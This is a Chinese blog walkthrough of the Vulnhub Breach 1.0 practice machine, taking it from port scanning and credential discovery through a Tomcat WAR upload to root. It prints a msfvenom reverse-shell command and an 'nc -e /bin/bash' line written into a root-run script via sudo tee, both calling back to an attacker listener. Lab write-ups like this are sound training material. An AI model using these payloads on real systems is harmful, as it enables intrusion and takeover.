Vulnhub靶场之Breach1.0

靶机IP地址发现:

1、arp-scan --interface eth1 192.168.110.1/24

2、 nmap -sP 192.168.110.1/24

3、 fping -a -g 192.168.110.1/24

4、linux:for k in $( seq 1 255);do ping -c 1 192.168.99.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

windows:for /l %i in (1,1,255) do @ping 192.168.64.%i -w 1 -n 1|find /i "ttl="

扫描开放端口: 

发现开放了很多端口,可能靶机有相关防护

 使用FIN扫描端口:nmap -sF 192.168.110.140

Tcp SYN Scan (sS)

这是一个基本的扫描方式,它被称为半开放扫描,因为这种技术使得Nmap不需要通过完整的握手,就能获得远程主机的信息。Nmap发送SYN包到远程主机,但是它不会产生任何会话.因此不会在目标主机上产生任何日志记录,因为没有形成会话。这个就是SYN扫描的优势.

有时候Tcp SYN扫描不是最佳的扫描模式,因为有防火墙的存在.目标主机有时候可能有IDS和IPS系统的存在,防火墙会阻止掉SYN数据包。发送一个设置了FIN标志的数据包并不需要完成TCP的握手.

FIN扫描也不会在目标主机上创建日志(FIN扫描的优势之一).个类型的扫描都是具有差异性的,FIN扫描发送的包只包含FIN标识,NULL扫描不发送数据包上的任何字节,XMAS扫描发送FIN、PSH和URG标识的数据包.

 访问80端口,并查看源码,发现注释

 

 经过两次base64解密后为:

pgibbons:damnitfeel$goodtobeagang$ta

看起来像,算了,后面再看吧。

继续收集信息:

view-source:http://192.168.110.140/initech.html发现提示:

我正坐在海滩读你的邮件 

view-source:http://192.168.110.140/breach.html 在海滩.html页面发现提示:

该页面注释翻译过来为:没什么看的这里。还发现了images目录

 访问images目录,发现目录遍历漏洞:

将该目录下所有图片下载到kali上去

wget -r -np -nH -R index.html  http://192.168.110.140/images/

 使用steghide 查看 没发现有用信息

 使用file命令也没看出来什么

 使用strings 取字符串,发现了一个网址

 访问该网址 什么都不是

 换个目标,查看刚刚看到的员工登录页面。

 使用之前base64解密了两次的字符串进行登录,成功登录,发现了3份邮件,其中一份,获取到了有用信息。

 访问192.168.110.140/.keystore,将该文件下载下来。

Keytool 是一个 Java 数据证书的管理工具 , Keytool 将密钥( key )和证书( certificates )存在一个称为 keystore 的文件中。
在keystore 里,包含两种数据:
密钥实体( Key entity —— 密钥( secret key )又或者是私钥和配对公钥(采用非对称加密)
可信任的证书实体(trusted certificate entries) —— 只包含公钥 Keystore可以简单理解为一个存放应用签名的文件。

 继续浏览,发现了一个新的地址。

 

 将该.pcap包下载下来,导入wireshark进行分析。

流量分析开启:

流量包里面存在SSL/TLS加密,并且加密的端口为8443

导入证书,解密流量包:

发现wireshark需要.p12的证书

 我们需要从keystore中导出p12证书,这里需要再机器上安装jre  密钥库口令就是tomcat

以管理员权限打开命令提示符,然后导出p12证书 

keytool -importkeystore -srckeystore C:\Users\01\Downloads\keystore -destkeystore tomcatkeystore.p12 -deststoretype pkcs12 -srcalias tomcat

 

 导入到wireshark

 流量 包已解密

 筛选出http协议:

追踪http流:发现一个登录地址、

 直接访问,无法访问

 通过burp代理一下流量,可以访问。

 继续看流量包,发现认证信息。

 将 Authorization: Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC 进行base64解码,发现账号密码信息。

账号:tomcat 

密码:Tt\5D8F(#!*u=G)4m7zB

 登录成功,是Tomcat页面,可以通过上传war包getshell。

1、首先使用msfvenom生成war包的反弹shell

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.128 lport=4444 -f war -o shell.war  

 2、msf开启监听

 3、上传war包 

4、上传成功 

5、访问https://192.168.110.140:8443/shell/,等几秒,kali获得反弹shell

 6、使用python -c 'import pty;pty.spawn("/bin/bash")' 完善shell

python -c 'import pty;pty.spawn("/bin/bash")'

7、查看/etc/passwd文件,发现两个有shell的用户

 8、在网站目录/var/www/5446发现两个php文件,是网站配置文件,包含数据库账号密码。

 

 9、发现数据库账号密码,登录数据库,在msyql中的user表中发现服务器用户milton,猜测他们可能使用了相同的密码。

desc user;查看user表结构

10、解密得到密码 :thelaststraw

 11、切换到milton用户,在历史命令当中发现他曾切换到blumbergh用户

 12、在/etc/passwd中得到提示blumbergh和bill有关

 13、回忆起之前发现的目录遍历漏洞中有一张图片名称为bill.png

 14、图上存在提示,我要看一下那个源码,谢谢key先生。于是使用strings获取下这张图片的字符串。

15、尝试使用这个密码切换到bill的那个用户上 blumbergh  coffeestains

发现该用户可以以root权限且不需要密码的情况下执行tee命令和tidyup.sh脚本

 16、tee命令用于将数据重定向到文件,可以通过tee将反弹shell的命令写到tidyup.sh然后就回反弹回一个root权限的shell了。

echo "nc -e /bin/bash 192.168.110.128 7777" | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

 17、kali开启监听,成功反弹回一个root权限shell

 18、搜索flag文件,原来是隐藏文件

 19、查看flag,完成靶机。

 

 

 

查看该文件,发现该文件存在以下行为:

切换到/var/lib/tomcat6/webapps目录

寻找swingline目录下的所有文件

然后删除

结合tee命令,将反弹shell的语句通过tee写入到tidyup.sh文件,然后执行,就可以获取到一个root权限的shell。

什么是tee命令?

查看tee使用方法:https://www.runoob.com/linux/linux-comm-tee.html

Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。

tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。

也就是将一个文件的内容复制或者追加到另一个文件

将反弹shell语句写入:

echo "nc -e /bin/bash 192.168.110.128 7777" | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

kali开启监听,成功获得shell

 使用Python完善shell,并使用find搜索flag文件,发现隐藏文件.flag.txt

 

 靶机完成。

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值